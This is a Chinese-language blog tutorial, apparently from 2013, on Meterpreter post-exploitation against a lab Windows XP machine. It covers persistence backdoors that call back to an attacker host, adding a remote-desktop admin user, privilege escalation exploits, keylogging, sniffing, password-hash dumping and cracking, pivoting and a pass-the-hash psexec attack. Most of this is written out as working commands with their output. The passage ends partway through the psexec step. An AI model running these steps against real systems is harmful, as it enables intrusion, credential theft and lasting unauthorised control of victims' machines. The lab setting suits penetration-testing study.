qq_27446553
qq_27446553

初探Meterpreter-emaste_r

目录(?)[-]

  1. Meterpreter是什么
  2. Meterpreter常用命令
  3. Meterpreter与后渗透攻击模块
  4. 后门
    1. 1测试是不是虚拟机
    2. 2安装后门方法一
    3. 3安装后门方法二
    4. 4getgui 3389
  5. 提权
    1. 1 直接了当getsystem
    2. 2 MS10-073 键盘布局文件提权漏洞
    3. 3 MS10-092 Windows 任务计划服务提权漏洞
  6. 窃取信息
    1. 1 dumplink 窃取近期系统操作访问文件等记录
    2. 2 键盘记录
    3. 3 enum_applications 补丁更新杀软等
  7. 系统口令窃取
    1. 1 sniffer 网络嗅探
    2. 2 IE 缓存
    3. 3 hash抓取并crack
    4. 内网渗透
    5. 1添加路由
    6. 2 445端口扫描-共享文件共享打印机服务
    7. 3 psexec攻击445端口-SMB-HASH传递
    8. 4 MS10-046 MS08-068 自己搭建SMB服务器 坐等鱼儿上钩
  8. 毁灭证据
    1. 1 clearev
    2. 2 timestomp

上一篇文章通过BeEF和Metasploit拿到了一台XP SP1的meterpreter会话

本文就进一步通过Meterpreter来蹂躏下这台可怜的XP

文章较长，可利用目录

事先说明，本博文是在BT5r3下实现的

===================================================

1.Meterpreter是什么？


仅仅是驻留在内存的shellcode。。
大概长这个样子：
初探Meterpreter-emaste_r_第1张图片

它比一般的攻击手法要好一些，一般的payload是这么工作的：
初探Meterpreter-emaste_r_第2张图片
[plain]  view plain copy
  1. (1)用payload在被攻击者机上开一个端口A  
  2. (2)把命令行终端绑定到A上  
  3. (3)攻击者访问A，就与被攻击者机器交互  


但这样的坏处：
[plain]  view plain copy
  1. (1)建一个新进程，容易被侦查  
  2. (2)攻击者和被攻击者之间的通信是通过端口互发送数据，容易被IDS侦查  
  3. (3)被攻击者可能chroot（change root directory），限权  


meterpreter的优点：
[plain]  view plain copy
  1. (1)纯内存，所有的需要调用的API都是HOOK  
  2. (2)16字节一组xor加密，SSL通信封装传输  
  3. 总之就是不易被发现，什么平台通用性，可拓展性都是妥妥的。。  


2.Meterpreter常用命令


基本命令：
[plain]  view plain copy
  1. background  # 让meterpreter处于后台模式  
  2. sessions -i index   # 与会话进行交互，index表示第一个session  
  3. quit  # 退出会话  
  4. shell # 获得控制台权限  
  5. irb # 开启ruby终端  

文件系统命令：
[plain]  view plain copy
  1. cat c:\\boot.ini   # 查看文件内容  
  2. getwd # 查看当前工作目录 work directory  
  3. upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上  
  4. download nimeia.txt /root/Desktop/   # 下载文件到本机上  
  5. edit c:\\boot.ini  # 编辑文件  
  6. search -d c:\\windows -f *.mdb # search 文件  


网络命令：
[plain]  view plain copy
  1. ipconfig / ifconfig # 查看网络接口信息  
  2. portfwd  add -l 5555 -p 3389 -r 192.168.198.129 # 端口转发，本机监听5555，把目标机3389转到本机5555  
  3. root@bt:~#  rdesktop -u Administrator -p 123qwe 127.0.0.1:5555  
  4. route # 获取路由表信息  

系统命令：
[plain]  view plain copy
  1. ps # 查看当前活跃进程  
  2. migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中  
  3. execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互  
  4. getpid # 获取当前进程的pid  
  5. kill pid # 杀死进程  
  6. getuid # 查看权限  
  7. sysinfo # 查看目标机系统信息，如机器名，操作系统等  
  8. shutdown # 关机  

写到这，我们给命令们排个龙虎榜吧：

第一名：ps + migrate ，因为我们是通过IE进来的，如果IE关掉了呢？如果它再也不访问那个hook页面了，我们岂不是再也get不了shell了。。
所以应该早早移植到别的进程空间，如Explorer.exe，这它不去关掉吧。。
第二名：execute ，能cmd.exe
第三名：portfwd ，端口转发，现实中基本都是要转发的~

看官们，如果你不同意我的看法，可以评论，发表下你的观点哦~~



3.Meterpreter与后渗透攻击模块


一直以为 Meterpreter == Metasploit后渗透攻击模块，结果不是这样的。
科普下Metasploit渗透测试平台的组成：
[plain]  view plain copy
  1. AUX辅助模块    信息搜集   
  2. Exploit模块    渗透攻击  
  3. 后渗透模块     主机控制与拓展攻击的渗透测试全过程支持  

Meterpreter 是Metasploit的一个payload，只是比较强大很多而已。它与后渗透模块的关系就是，前者是后者的 实施通道。
后攻击模块使用ruby写的，目标机上很可能没有ruby解释器，那怎么玩？
初探Meterpreter-emaste_r_第3张图片



4.后门


1)测试是不是虚拟机：

[plain]  view plain copy
  1. meterpreter > run post/windows/gather/checkvm   
  2.   
  3. [*] Checking if EMASTER-8G5WOLV is a Virtual Machine .....  
  4. [*] This is a VMware Virtual Machine  
如果是虚拟机，热情就下降了。。
也很可能是蜜罐。。

2)安装后门方法一：

[plain]  view plain copy
  1. meterpreter > run persistence -X -i 5 -p 443 -r 192.168.0.108  
  2. [*] Running Persistance Script  
  3. [*] Resource file for cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_20131206.5032.rc  
  4. [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=443  
  5. [*] Persistent agent script is 609628 bytes long  
  6. [+] Persistent Script written to C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs  
  7. [*] Executing script C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs  
  8. [+] Agent executed with PID 1888  
  9. [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp  
  10. [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp  
然后它就在目标机的C:/windows/Temp/下建立一个vbs文件，开机会启动这个文件
上面的vbs的确存在，并且开机启动也有，但是就是有：
初探Meterpreter-emaste_r_第4张图片

这个问题，百度后发现都是说出现这情况是中毒中马，然后教大家删东东，删自启动。。
为什么meterpreter出品的东西会在xp下这么容易暴露呢？
追查了下，NTVDM是win 16虚拟机的一部分，是win 为了向下兼容16位程序的虚拟机。
但是还是提到这么回事？
这里留个坑吧，路过的大神，如果看到，可以给我回答吗？


3)安装后门方法二：

[plain]  view plain copy
  1. meterpreter > run metsvc  
  2. [*] Creating a meterpreter service on port 31337  
  3. [*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\JszPreYrwkWEm...  
  4. [*]  >> Uploading metsrv.dll...  
  5. [*]  >> Uploading metsvc-server.exe...  
  6. [*]  >> Uploading metsvc.exe...  
  7. [*] Starting the service...  
  8.      * Installing service metsvc  
  9.  * Starting service  
  10. Service metsvc successfully installed.  
  11.   
  12. meterpreter >   
监听：31337
上传了三个dll文件
然后就在目标机器上多了一个 自启动的服务：Meterpreter。。。

初探Meterpreter-emaste_r_第5张图片

然后连接：
[plain]  view plain copy
  1. msf  exploit(handler) > use exploit/multi/handler   
  2. msf  exploit(handler) > set payload windows/metsvc_bind_tcp   
  3. payload => windows/metsvc_bind_tcp  
  4. msf  exploit(handler) > set RHOST 192.168.0.111  
  5. RHOST => 192.168.0.111  
  6. msf  exploit(handler) > set LPORT 31337  
  7. LPORT => 31337  
  8. msf  exploit(handler) > exploit  
  9.   
  10. [*] Started bind handler  
  11. [*] Starting the payload handler...  
  12. [*] Meterpreter session 1 opened (192.168.0.108:39406 -> 192.168.0.111:31337) at 2013-12-06 14:24:29 +0800  
  13.   
  14. meterpreter >   

4)getgui + 3389

觉得没什么用，不就是建立账户+加入组：''Remote Desktop Users" 和 "Administrators"，然后3389连接，如果内网就portfwd。。
这里的没什么用还得对面必须开启了3389。。
[plain]  view plain copy
  1. meterpreter > run getgui -u aa -p 123qwe   
如果没出问题的话，应该是添加了用户aa，密码为123qwe，并把它加入到那两个组中。。
然后：
[plain]  view plain copy
  1. msf  exploit(handler) > rdesktop -u aa -p 123qwe 192.168.0.111:3389  
连上~
如果在内网，那么就先端口转发：
[plain]  view plain copy
  1. portfwd  add -l 5555 -p 3389 -r 192.168.0.111 # 端口转发，本机监听5555，把目标机3389转到本机5555  
  2. root@bt:~#  rdesktop -u Administrator -p 123qwe 127.0.0.1:5555  
 

5.提权


1) 直接了当：getsystem

[plain]  view plain copy
  1. meterpreter > getsystem -h  
  2. Usage: getsystem [options]  
  3.   
  4. Attempt to elevate your privilege to that of local system.  
  5.   
  6. OPTIONS:  
  7.   
  8.     -h        Help Banner.  
  9.     -t <opt>  The technique to use. (Default to '0').  
  10.         0 : All techniques available  
  11.         1 : Service - Named Pipe Impersonation (In Memory/Admin)  
  12.         2 : Service - Named Pipe Impersonation (Dropper/Admin)  
  13.         3 : Service - Token Duplication (In Memory/Admin)  
  14.         4 : Exploit - KiTrap0D (In Memory/User)  
  15.   
  16.   
  17. meterpreter >   
getsystem会用四种方法去提权，(In Memory/Admin) 表示所需环境和初始权限。
[plain]  view plain copy
  1. meterpreter > getsystem  
  2. ...got system (via technique 1).  
  3. meterpreter > getuid  
  4. Server username: NT AUTHORITY\SYSTEM  
  5. meterpreter >  
system 就是最高权限了。。


2) MS10-073 键盘布局文件提权漏洞

[plain]  view plain copy
  1. meterpreter > background  
  2. [*] Backgrounding session 5...  
  3. msf > set session 5   
  4. session => 5  
  5. msf > use post/windows/escalate/ms10_073_kbdlayout   
  6. msf  post(ms10_073_kbdlayout) > exploit  
  7.   
  8. [*] Attempting to elevate PID 0x278  
  9. [*] {"GetLastError"=>0, "return"=>1548}  
  10. [*] Wrote malicious keyboard layout to C:\WINDOWS\TEMP\p0wns.boom ..  
  11. [*] Allocated 0x8000 bytes of memory @ 0x60630000  
  12. [*] Initialized RWX buffer ...  
  13. [*] Current Keyboard Layout: 0x8040804  
  14. [*] Patched in syscall wrapper @ 0x60631000  
  15. [*] Successfully executed syscall wrapper!  
  16. [*] Attempting to cause the ring0 payload to execute...  
  17. [*] SendInput: {"GetLastError"=>5, "return"=>1}  
  18. [*] Post module execution completed  
  19. msf  post(ms10_073_kbdlayout) >   

3) MS10-092 Windows 任务计划服务提权漏洞

[plain]  view plain copy
  1. msf  post(ms10_073_kbdlayout) > back  
  2. msf > set session 5  
  3. session => 5  
  4. msf > use post/windows/escalate/ms10_092_schelevator   
  5. msf  post(ms10_092_schelevator) > exploit  
  6.   
  7. [-] Windows XP (Build 2600, Service Pack 1). is not vulnerable.  
  8. [*] Post module execution completed  
  9. msf  post(ms10_092_schelevator) >   
哎，我就可耻得只能对XP SP1下手。。这点出息。。

6.窃取信息


1) dumplink 窃取近期系统操作，访问文件等记录

[plain]  view plain copy
  1. meterpreter > run post/windows/gather/dumplinks   
  2.   
  3. [*] Running module against EMASTER-8G5WOLV  
  4. [*] Running as SYSTEM extracting user list...  
  5. [*] Extracting lnk files for user Administrator at C:\Documents and Settings\Administrator\Recent\...  
  6. [*] Processing: C:\Documents and Settings\Administrator\Recent\1.lnk.  
  7. [*] Processing: C:\Documents and Settings\Administrator\Recent\KaEbvZfANVE.lnk.  
  8. [*] Processing: C:\Documents and Settings\Administrator\Recent\lOFkqsGGtNr.lnk.  
  9.     [*] Processing: C:\Documents and Settings\Administrator\Recent\nimeia.lnk.  
  10. [*] Processing: C:\Documents and Settings\Administrator\Recent\pvTdNq.lnk.  
  11. [*] Processing: C:\Documents and Settings\Administrator\Recent\Temp.lnk.  
  12. [*] No Recent Office files found for user Administrator. Nothing to do.  
  13. [*] No Recent directory found for user LocalService. Nothing to do.  
  14. [*] No Recent Office files found for user LocalService. Nothing to do.  
  15. [*] No Recent directory found for user NetworkService. Nothing to do.  
  16. [*] No Recent Office files found for user NetworkService. Nothing to do.  

2) 键盘记录

大部分时候会成功，如果获取不到重连一下：
[plain]  view plain copy
  1. meterpreter > keyscan_start   
  2. Starting the keystroke sniffer...  
  3. meterpreter > keyscan_dump   
  4. Dumping captured keystrokes...  
  5. dir <Return> cd  <Ctrl>  <LCtrl>  zhuomian1 <Back>  <Back>  <Back>  <Back> 11 <Back>  <Back> zhuo <Return> =-1 <Tab>  <Return>  <CapsLock> dir <Return>  <Back>  <Back>  <Back>  <Back>  <Ctrl>  <LCtrl>  dir <CapsLock>  <Back>  <Back> r <Back> ir <Return>   
  6. meterpreter > keyscan_dump   
  7. Dumping captured keystrokes...  
  8.  <Return>  <Return>  <N5>  <N6>  <N4>  <N5>  <N4>  <N5>  <N9>  <N1>  <N3>  xugyabq    <Back>  <Back> ihuanqiiq <Return> http://blog.csdn.net/xihuanqiqi <Ctrl>  <LCtrl> s <Back>  <Back>  <Back>  <Back> emaster <Left> -- <Back>  <Back> _ <Ctrl>  <LCtrl> s  
  9. meterpreter > keyscan_stop   
  10. Stopping the keystroke sniffer...  
  11. meterpreter >   



3) enum_applications 补丁，更新，杀软等

[plain]  view plain copy
  1. meterpreterun > run post/windows/gather/enum_applications   
  2.   
  3. [*] Enumerating applications installed on EMASTER-8G5WOLV  
  4.   
  5. Installed Applications  
  6. ======================  
  7.   
  8.  Name                              Version  
  9.  ----                              -------  
  10.  Adobe Flash Player 11 ActiveX     11.9.900.152  
  11.  VMware Tools                      8.1.4.11056  
  12.  WebFldrs XP                       9.50.6513  
  13.  Windows Installer 3.1 (KB893803)  3.1  
  14.   
  15.   
  16. [*] Results stored in: /root/.msf4/loot/20131206164307_default_192.168.0.111_host.application_476551.txt  
  17. meterpreter >   


  

7.系统口令窃取


1) sniffer 网络嗅探

[plain]  view plain copy
  1. meterpreter > use sniffer  
  2. Loading extension sniffer...success.  
  3. meterpreter > sniffer_interfaces   
  4.   
  5. 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )  
  6.   
  7. meterpreter > sniffer_interfaces  1  
  8.   
  9. 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )  
  10.   
  11. meterpreter > sniffer_start  1  
  12. [*] Capture started on interface 1 (50000 packet buffer)  
  13. meterpreter > sniffer_dump  1 /tmp/xpsp1.cap  
  14. [*] Flushing packet capture buffer for interface 1...  
  15. [*] Flushed 355 packets (101378 bytes)  
  16. [*] Downloaded 100% (101378/101378)...  
  17. [*] Download completed, converting to PCAP...  
  18. [*] PCAP file written to /tmp/xpsp1.cap  
  19. meterpreter > sniffer_stop 1  
  20. [*] Capture stopped on interface 1  
  21. [*] There are 157 packets (40891 bytes) remaining  
  22. [*] Download or release them using 'sniffer_dump' or 'sniffer_release'  
  23. meterpreter >   

然后在shell中中输入：wireshark，加载这个/tmp/xpsp1.cap包即可：
初探Meterpreter-emaste_r_第6张图片

2) IE 缓存


[plain]  view plain copy
  1. meterpreter > run post/windows/gather/enum_ie   
  2.   
  3. [*] IE Version: 6.0.2800.1106  
  4. [-] This module will only extract credentials for >= IE7  
  5. [*] Retrieving history.....  
  6.     File: C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat  
  7. [*] Retrieving cookies.....  
  8.     File: C:\Documents and Settings\LocalService\Cookies\index.dat  
  9. [*] Looping through history to find autocomplete data....  
  10. [-] No autocomplete entries found in registry  
  11. [*] Looking in the Credential Store for HTTP Authentication Creds...  
  12. meterpreter >   
这里说IE7以上才有效。。

3) hash抓取并crack


在研究怎么抓hash前，先对BT5连接数据库说下：
[plain]  view plain copy
  1. msf  auxiliary(jtr_crack_fast) > cat /opt/metasploit/config/database.yml  
  2. [*] exec: cat /opt/metasploit/config/database.yml  
  3.   
  4.   
  5. #  
  6. # These settings are for the database used by the Metasploit Framework  
  7. # unstable tree included in this installer, not the commercial editions.  
  8. #  
  9. development:  
  10.   adapter: "postgresql"  
  11.   database: "msf3dev"  
  12.   username: "msf3"  
  13.   password: "4bfedfc2"  
  14.   port: 7337  
  15.   host: "localhost"  
  16.   pool: 256  
  17.   timeout: 5  
  18.   
  19. production:  
  20.   adapter: "postgresql"  
  21.   database: "msf3dev"  
  22.   username: "msf3"  
  23.   password: "4bfedfc2"  
  24.   port: 7337  
  25.   host: "localhost"  
  26.   pool: 256  
  27.   timeout: 5  
  28. msf  auxiliary(jtr_crack_fast) > db_connect msf3:[email protected]:7337/msf3dev   
连接的格式： db_connect 用户名:密码@localhost:端口/数据库名字
这些都放在/opt/metasploit/config/database.yml中

如果遇到：gem install pg
那么是配置问题：
[plain]  view plain copy
  1. vi /opt/metasploit/msf3/msfconsole  
  2. change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.  
具体为什么这么改可参考： 解决过程

至此，数据库完成，多嘴一句，每次启动msf要手动db_connect。。

普通做法一：
[plain]  view plain copy
  1. msf  exploit(handler) > use post/windows/gather/hashdump   
  2. msf  post(hashdump) > set session 1  
  3. session => 1  
  4. msf  post(hashdump) > exploit  
  5.   
  6. [*] Obtaining the boot key...  
  7. [*] Calculating the hboot key using SYSKEY 69f8b1cc8404c6c59864966365d3a7b8...  
  8. [*] Obtaining the user list and keys...  
  9. [*] Decrypting user keys...  
  10. [*] Dumping password hashes...  
  11.   
  12.   
  13. Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::  
  14. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  15. HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::  
  16. SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::  
  17.   
  18.   
  19. [*] Post module execution completed  

普通做法二：
[plain]  view plain copy
  1. meterpreter > hashdump  
  2. Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::  
  3. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  4. HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::  
  5. SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::  
  6. meterpreter >   

但是这样子，这样的不好之处：
[plain]  view plain copy
  1. 在非sysytem权限下无效。。  
  2. 在win7，vista，win2008不稳定。。  
  3. 在UAC（User Account Control）下失效。。  

智能做法：
[plain]  view plain copy
  1. meterpreter > run post/windows/gather/smart_hashdump   
  2.   
  3. [*] Running module against EMASTER-8G5WOLV  
  4. [*] Hashes will be saved to the database if one is connected.  
  5. [*] Hashes will be saved in loot in JtR password file format to:  
  6. [*] /root/.msf4/loot/20131207144502_default_192.168.0.111_windows.hashes_582943.txt  
  7. [*] Dumping password hashes...  
  8. [*] Running as SYSTEM extracting hashes from registry  
  9. [*]     Obtaining the boot key...  
  10. [*]     Calculating the hboot key using SYSKEY 69f8b1cc8404c6c59864966365d3a7b8...  
  11. [*]     Obtaining the user list and keys...  
  12. [*]     Decrypting user keys...  
  13. [*]     Dumping password hashes...  
  14. [+]     Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::  
  15. [+]     HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::  
  16. [+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::  
  17. meterpreter >   

智能的流程（当拓展阅读看看）：
[plain]  view plain copy
  1. 检查已有权限+系统类型  
  2. 检查是否为域控制器  
  3. 从注册表读hash，若失败，注入LSASS进程；若域控制器，直接注入LSASS进程  
  4. 若win2008+会话管理员权限，尝试使用getsystem，若在system不能注入LSASS，先migrate到system权限下的进程，继续注入LSASS  
  5. 若win7/Vista+UAC关闭+会话管理员权限，尝试getsystem，读取hash  
  6. 若win2003/xp/2000，直接getsystem，读取hash  

查看数据库：
[plain]  view plain copy
  1. msf  auxiliary(jtr_crack_fast) > creds  
  2.   
  3. Credentials  
  4. ===========  
  5.   
  6. host           port  user              pass                                                               type      active?  
  7. ----           ----  ----              ----                                                               ----      -------  
  8. 192.168.0.111  445   guest             aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0  smb_hash  true  
  9. 192.168.0.111  445   administrator     123qwe                                                             password  true  
  10. 192.168.0.111  445   guest                                                                                password  true  
  11. 192.168.0.111  445   administrator     daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011  smb_hash  true  
  12. 192.168.0.111  445   helpassistant     866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb  smb_hash  true  
  13. 192.168.0.111  445   support_388945a0  aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881  smb_hash  true  
  14.   
  15. [*] Found 6 credentials.  
  16. msf  auxiliary(jtr_crack_fast) >   

用John The Ripper来破解：
这是一款开源的，集成多个解密算法的，针对Unix/Linux（当然也可以win）弱口令密码的破解，幸好msf集成这个大杀器。。
[plain]  view plain copy
  1. msf  post(hashdump) > use auxiliary/analyze/jtr_crack_fast   
  2. msf  auxiliary(jtr_crack_fast) > exploit  
  3.   
  4. [*] Seeded the password database with 6 words...  
  5. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  6. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  7. guesses: 1  time: 0:00:00:06 DONE (Sat Dec  7 14:36:28 2013)  c/s: 5791K  trying: WIT1900 - ZZZ1900  
  8. Warning: passwords printed above might be partial and not be all those cracked  
  9. Use the "--show" option to display all of the cracked passwords reliably  
  10. [*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])  
  11. [*] Output: 123QWE           (cred_1)  
  12. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  13. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  14. Warning: mixed-case charset, but the current hash type is case-insensitive;  
  15. some candidate passwords may be unnecessarily tried more than once.  
  16. guesses: 1  time: 0:00:00:08 DONE (Sat Dec  7 14:36:37 2013)  c/s: 18967K  trying: ||V} - |||}  
  17. Warning: passwords printed above might be partial and not be all those cracked  
  18. Use the "--show" option to display all of the cracked passwords reliably  
  19. [*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])  
  20. [*] Output: Remaining 3 password hashes with no different salts  
  21. [*] Output: (cred_2)  
  22. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  23. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  24. guesses: 0  time: 0:00:00:00 DONE (Sat Dec  7 14:36:37 2013)  c/s: 1234K  trying: 89093 - 89092  
  25. [*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])  
  26. [*] Output: Remaining 2 password hashes with no different salts  
  27. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  28. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  29. [*] cred_1:123QWE:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::  
  30.   
  31. [*] cred_2::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  32.   
  33. [*] cred_4::aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::  
  34.   
  35. [*]   
  36.   
  37. [*] 3 password hashes cracked, 2 left  
  38.   
  39. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  40. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  41.   
  42. guesses: 1  time: 0:00:00:20 DONE (Sat Dec  7 14:36:58 2013)  c/s: 10089K  trying: zydeco1900 - 123qwe1900  
  43. Use the "--show" option to display all of the cracked passwords reliably  
  44. [*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])  
  45. [*] Output: 123qwe           (cred_1)  
  46. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  47. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  48. guesses: 1  time: 0:00:00:09 DONE (Sat Dec  7 14:37:07 2013)  c/s: 17311K  trying: |||}  
  49. Use the "--show" option to display all of the cracked passwords reliably  
  50. [*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])  
  51. [*] Output: Remaining 3 password hashes with no different salts  
  52. [*] Output: (cred_2)  
  53. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  54. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  55. guesses: 0  time: 0:00:00:00 DONE (Sat Dec  7 14:37:08 2013)  c/s: 1388K  trying: 89030 - 89092  
  56. [*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])  
  57. [*] Output: Remaining 2 password hashes with no different salts  
  58. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  59. /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)  
  60. [*] cred_1:123qwe:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::  
  61.   
  62. [*] cred_2::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  63.   
  64. [*]   
  65.   
  66. [*] 2 password hashes cracked, 2 left  
  67.   
  68. [+] Cracked: administrator:123qwe (192.168.0.111:445)  
  69. [+] Cracked: guest: (192.168.0.111:445)  
  70. [*] Auxiliary module execution completed  
  71. msf  auxiliary(jtr_crack_fast) >   

可以看到，我在xp设置的弱口令密码：123qwe已经被破解出来了。。但是这个jtr对于强度较高的密码没治。。


8.内网渗透


1)添加路由

很多时候，DMZ跳内网需要跳板，msf的add route很方便就能跳板：
当前会话是1，MSF下：route 内网subnet 子网掩码 sessionID
[plain]  view plain copy
  1. meterpreter > run get_local_subnets  
  2. Local subnet: 192.168.0.0/255.255.255.0  
  3. meterpreter > background  
  4. [*] Backgrounding session 1...  
  5. msf  auxiliary(jtr_crack_fast) > route add 192.168.0.0 255.255.255.0 1  
  6. [*] Route added  
  7. msf  auxiliary(jtr_crack_fast) > route print  
  8.   
  9. Active Routing Table  
  10. ====================  
  11.   
  12.    Subnet             Netmask            Gateway  
  13.    ------             -------            -------  
  14.    192.168.0.0        255.255.255.0      Session 1  
  15.   
  16. msf  auxiliary(jtr_crack_fast) >   
这样子msf就成功得在会话1上添加了192.168.0.0/24 这个网段的路由，所有攻击者对这网段的流量都通过会话1转发。

2) 445端口扫描-共享文件/共享打印机服务

通俗点就是IPC$，知道了吗。。

这个我就贴出命令吧，我感觉没多大用，扫描用nmap即可。。
[plain]  view plain copy
  1. msf  auxiliary(jtr_crack_fast) > set RHOSTS 192.168.0.0/24   
  2. RHOST => 192.168.0.0/24  
  3. msf  auxiliary(jtr_crack_fast) > set PORTS 445  
  4. PORTS => 445  
  5. msf  auxiliary(jtr_crack_fast) > use auxiliary/scanner/portscan/tcp   
  6. msf  auxiliary(tcp) > run  
莫名的扫不出结果，run后一直静止。。



3) psexec攻击445端口-SMB-HASH传递

[plain]  view plain copy
  1. msf  exploit(psexec) > use exploit/windows/smb/psexec   
  2. msf  exploit(psexec) > set payload windows/meterpreter/reverse_tcp  
  3. payload => windows/meterpreter/reverse_tcp  
  4. msf  exploit(psexec) > set LHOST 192.168.0.108  
  5. LHOST => 192.168.0.108  
  6. msf  exploit(psexec) > set LPORT 443  
  7. LPORT => 443  
  8. msf  exploit(psexec) > set RHOST 192.168.0.111  
  9. RHOST => 192.168.0.111  
  10. msf  exploit(psexec) > set SMBPass daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011  
  11. SMBPass => daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011  
  12. msf  exploit(psexec) > exploit  
  13.   
  14. [*] Started reverse handler on 192.168.0.108:443   
  15. [*] Connecting to the server...  
  16. [*] Authenticating to 192.168.0.111:445|WORKGROUP as user ''...  
